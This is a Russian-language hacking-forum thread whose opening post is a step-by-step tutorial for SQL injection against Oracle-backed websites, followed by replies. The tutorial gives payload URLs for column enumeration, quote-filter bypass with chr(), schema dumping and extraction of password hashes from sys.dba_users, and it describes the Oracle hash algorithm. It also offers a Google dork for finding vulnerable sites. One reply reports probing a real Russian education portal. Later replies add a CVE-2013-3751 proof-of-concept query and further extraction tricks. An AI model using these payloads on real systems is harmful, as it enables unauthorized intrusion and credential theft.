Старый 07.07.2010, 01:17   #1
Shadow
 
Регистрация: 02.07.2010
Сообщений: 35
Репутация: 55
По умолчанию Oracle SQL Injection

Реализация SQL инъекций в Oracle.

Введение.

В статье рассматриваются особенности реализации уязвимости инъекции SQL-кода в СУБД Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается.
В статью внесены изменения и дополнения с момента последней публикации.

Особенности.

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно.
Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими).
В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL.
Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL.
Немаловажным свойством является отсутствие оператора LIMIT.
Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный.
Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL.
При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например:

Код:
[Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended
Не всегда в тексте ошибки присутствует слово Oracle, например

Код:
Warning: OCIStmtExecute: ORA-01722: invalid number in
Подбор столбцов.

Пусть ошибка присутствует в параметре id:

Код:
www.site.com/view.php?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. При неправильном указании столбцов в подзапросе выводится стандартное сообщение об ошибке:

Код:
ORA-XXXXX: query block has incorrect number of result columns
Для подбора столбцов существует 2 известных способа:

1. Простой перебор.
Составим следующий запрос

Код:
www.site.com/view.php?id=-1+union+select+null+from+sys.dual--
Если ошибка появилась, увеличиваем количество столбцов на один
Код:
www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--
и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY
Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос

Код:
www.site.com/view.php?id=-1+order+by+1--
если ошибки нет, значит столбцов 1 или более 1

Код:
www.site.com/view.php?id=-1+order+by+99999--
При таком запросе должна появиться ошибка, что означает столбцов меньше 99999. Далее таким же образом сужаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

Определение выводимых столбцов.

Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4.

Код:
www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов

Код:
ORA-XXXXX: expression must have same datatype as corresponding expression
Далее мы начинаем составлять запросы, поочередно заменяя каждый столбец на любое число

Код:
www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
....
Код:
www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
Таким образом, мы выявим принтабельные столбцы с типом int. В том случае если мы получим ошибку несоответствия типов, мы можем воспользоваться функциями преобразования типов to_char(), to_date() и выявить принтабельные столбцы с типами char и data.

Код:
www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
Для справки приведу синтаксис функции to_char():
to_char( value, [ format_mask ], [ nls_language ] )

Получение информации.

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:
www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
Так же как и в MySQL, для удобства отображения и преодоления различных проблем с кодировками можно воспользоваться функциями concat(), to_char().
Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr().

Обход фильтрации.

Обход фильтрации кавычек и других спецсимволов осуществляется с помощью функции chr().
Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ в отличии от подобной функции char() в MySQL. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять их с помощью операции конкатенации ||.
Таким образом, закодированное слово user будет иметь вид chr(117)||chr(115)||chr(101)||chr(114).


Таблицы и столбцы.

Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle.
Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user

Код:
www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
Получить список сессий можно вот так: select * from V$session

Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов:

Код:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
Код:
www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
Так же, на мой взгляд, в таблице SYS.USER_TABLES помимо table_name, вызывают интерес следующие столбцы: tablespace_name, num_rows, freelist_groups.
Таким образом, мы можем посмотреть по очереди все имена таблиц. Туже самую конструкцию мы можем использовать при просмотре таблицы SYS.USER_TAB_COLUMNS, при получении всех имен столбцов доступных пользователю.
Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы:
ALL_ - все доступные пользователю (владельцем может и не быть),
USER_ - объекты, чьим владельцем этот пользователь является.
Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ

Код:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

Аналоги LIMIT.


Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора.
“ВСЕ ПРОПАЛО!!!” – скажете вы.
“НЕТ!!!” – отвечу я вам.
Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме.

Код:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
Таким образом, последовательно перебирая записи в выборки мы получаем аналог LIMIT.
Однако это не так эффективно, как предложенный далее способ.

Возможна нормальная замена предиката LIMIT используемого в MySQL для Oracle с помощью псевдостолбца ROWNUM с использованием сложного запроса (скажем спасиба groundhog`у).
Используем следующую конструкцию:
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y
Перебирая X и Y вытаскиваем имена всех таблиц (все записи начиная с Х по Y), доступных пользователю, аналогично со столбцами.

Еще несколько интересных конструкций с ROWNUM:

-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';


Пароли.

Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так

Код:
www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
Для полноты информации представлю еще и алгоритм вычисления свертки пароля, на всякий случай, может кому и пригодится:
1. К имени пользователя приклеивается справа текст пароля.
2. В получившейся строке буквам повышается регистр.
3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80.
4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF.
5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом.
6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой.

Google хек.


Как щас принято использовать поисковики для поиска уязвимостей, мы тоже не будем отставать (=
Для обнаружения уязвимых сайтов можно воспользоваться поисковиком, например в гугле искать сайты со строками
“ORA-00921: unexpected end of SQL command”

Копирайты.

При написании статьи использовались следующие материалы:
Как взломать парольную защиту Oracle или как ее обойти, статья Пржиялковского В., http://citforum.ru/database/oracle/passwd/
А так же пользовался документацией по Oracle 10i.

[ЗЫ]

В этой статье я попытался рассказать и показать практические аспекты проведения SQL инъекций в Oracle. Надеюсь кому нибудь пригодится.
Shadow вне форума   Ответить с цитированием
Старый 01.11.2010, 00:16   #2
Cross
 
Регистрация: 27.08.2010
Сообщений: 114
Репутация: 2
По умолчанию

Прочитал, и вообщем замахнулся я сразу на edu.ru; посмотрел; нашел ошибку:
Цитата:
http://window.edu.ru/window/library?p_rubr=2.2.73+order+by+9999999--
Цитата:
ORA-06502: PL/SQL: numeric or value error: character string buffer too small ORA-06512: at "WINDOW_EDU_RU.CATALOG_PORTLET", line 2047 ORA-06512: at "WINDOW_EDU_RU.CATALOG_PORTLET", line 1055
Чуть посидел над ней - бестолку...решил загуглить - ошибка оказалась не из редких, но вот это меня вообще убило дорк
Оказывается эта ошибка еще и в гугле проиндексированна xD

p.s. не знаю, может это и в порядке вещей, но на моем веку впервые...российский образовательный портал блин =)
Cross вне форума   Ответить с цитированием
Старый 01.11.2010, 00:45   #3
Cross
 
Регистрация: 27.08.2010
Сообщений: 114
Репутация: 2
По умолчанию

Это понятно, она - стандартное ограничение длины, но до того как на нее наткнуться я не мало страниц и поддоменов там перекопал...да и выводится она только в этом, как его там, короче PHP_SELF
Cross вне форума   Ответить с цитированием
Старый 27.07.2011, 10:43   #4
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

В Oracle, начиная с 10 версии, есть недокументированная функция wsys.wm_concat,
работает, как агрегатная функция конкатенации строк (аналог group_concat в MySQL),
возвращает столбец таблицы, как строку (разделитель запятая).
Вывод ограничен varchar (4000).

Пример
select wm_concat(username) from all_users

Аналогично работает функция stragg.
Если функция отсутствует, получим ошибку ORA-00904: "STRAGG": недопустимый идентификатор.
nikp вне форума   Ответить с цитированием
Старый 02.02.2012, 11:17   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Эксплуатация подобных инъекций, используя замену разделителя дробной части:
Цитата:
CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
IS
stmt VARCHAR2(2000);
BEGIN
stmt := 'select object_name from all_objects where object_id = ' || n;
EXECUTE IMMEDIATE stmt;
END;
SynQ вне форума   Ответить с цитированием
Старый 19.01.2013, 07:35   #6
lamarez
 
Регистрация: 24.01.2011
Сообщений: 1
Репутация: -2
По умолчанию

есть инъекция, с выводом через union.
проблема в том что нужно в бд сделать update.
через ; не получается выполнить любой другой запрос.
такое чувство что запрос многострочный и ниже есть order by...
думал посмотреть текст последних выполненных запросов из v$sql, но прав не хватило
так бы сделал что то типа ;update...;select... чтобы order by куда то деть
какие есть идеи, как выполнить update? возможно есть вариант вывести текущий запрос не через v$sql?
lamarez вне форума   Ответить с цитированием
Старый 06.05.2014, 12:11   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Unspecified vulnerability in the XML Parser component in Oracle Database Server 11.2.0.2 and 11.2.0.3 allows remote authenticated users to affect confidentiality, integrity, and availability via unknown vectors.
@Agarri_FR: #Oracle #PoC
"select * from dual where xmltype('<pwnage>&around_300_characters;</pwnage>') like '0wn3d';"
CVE-2013-3751 and ZDI-13-199

И еще от Личфилда: http://www.davidlitchfield.com/Explo...Oracle_12c.pdf

Последний раз редактировалось SynQ; 22.05.2014 в 13:02..
SynQ вне форума   Ответить с цитированием
Старый 17.07.2014, 12:17   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Указанный выше CVE-2013-3751 был еще и в 12.1. Закрыли его только позавчера в июльском CPU.
http://blog.red-database-security.com/2014/07/16/180/

Код:
select * from dual where xmltype(q'{<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccccccccccccccccccccccccccccccccccccccccccddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeffffffffffffffffffffffffffffffffffffffffffffffffhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhiiiiiiiiiiiiiiiiiiiiiiiiii foo="bar[a < b]"/>}') like '0wn3d_again';
SynQ вне форума   Ответить с цитированием
Старый 22.07.2014, 13:26   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Правка системных таблиц (напр. для получения dba) при SQL Injection в INSERT, UPDATE, DELETE запросах посредством уязвимой функции DBMS_XMLSTORE:
http://www.davidlitchfield.com/DBMS_..._Injection.pdf
SynQ вне форума   Ответить с цитированием
Старый 13.02.2015, 10:20   #10
faza02
 
Аватар для faza02
 
Регистрация: 24.12.2010
Сообщений: 77
Репутация: 14
По умолчанию

альтернатива LIMIT в Oracle 12c:
Код:
SELECT login FROM users OFFSET n ROWS FETCH NEXT 1 ROWS ONLY;
перебираем n

https://twitter.com/dsrbr/status/565875203818127360
faza02 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot